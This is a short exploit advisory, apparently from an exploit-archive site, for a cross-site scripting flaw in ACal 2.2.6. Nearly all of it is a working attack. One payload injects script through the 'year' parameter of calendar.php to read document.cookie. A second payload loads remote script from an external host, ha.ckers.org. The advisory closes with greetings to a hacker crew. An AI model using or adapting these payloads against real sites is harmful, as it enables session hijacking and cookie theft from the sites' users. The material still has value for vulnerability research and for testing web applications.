Home / exploitsPDF  

ACal 2.2.6 Cross Site Scripting

Posted on 03 September 2011

=================================================================
=ACal-2.2.6 XSS Vulnerability
=================================================================

# Exploit Title: ACal-2.2.6 XSS Vulnerability
# Date: 02.09.2011
# Author: T0xic
# Category: webapps/0day
# Script url: http://acalproj.sourceforge.net/
# Version: N/A
# Tested on:
# CVE :

[ EXPL0!T ]

=> http://www.example.com/calendar/calendar.php?year=<script>alert(document.cookie)</script>


Exemple exploit code :

=> “><SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT><”

#================[ Exploited By T0xic ]================
#Greets To : Dz Offenders Cr3w < Algerians HaCkerS >  =
#======================================================

 

TOP

Malware :

Exploits :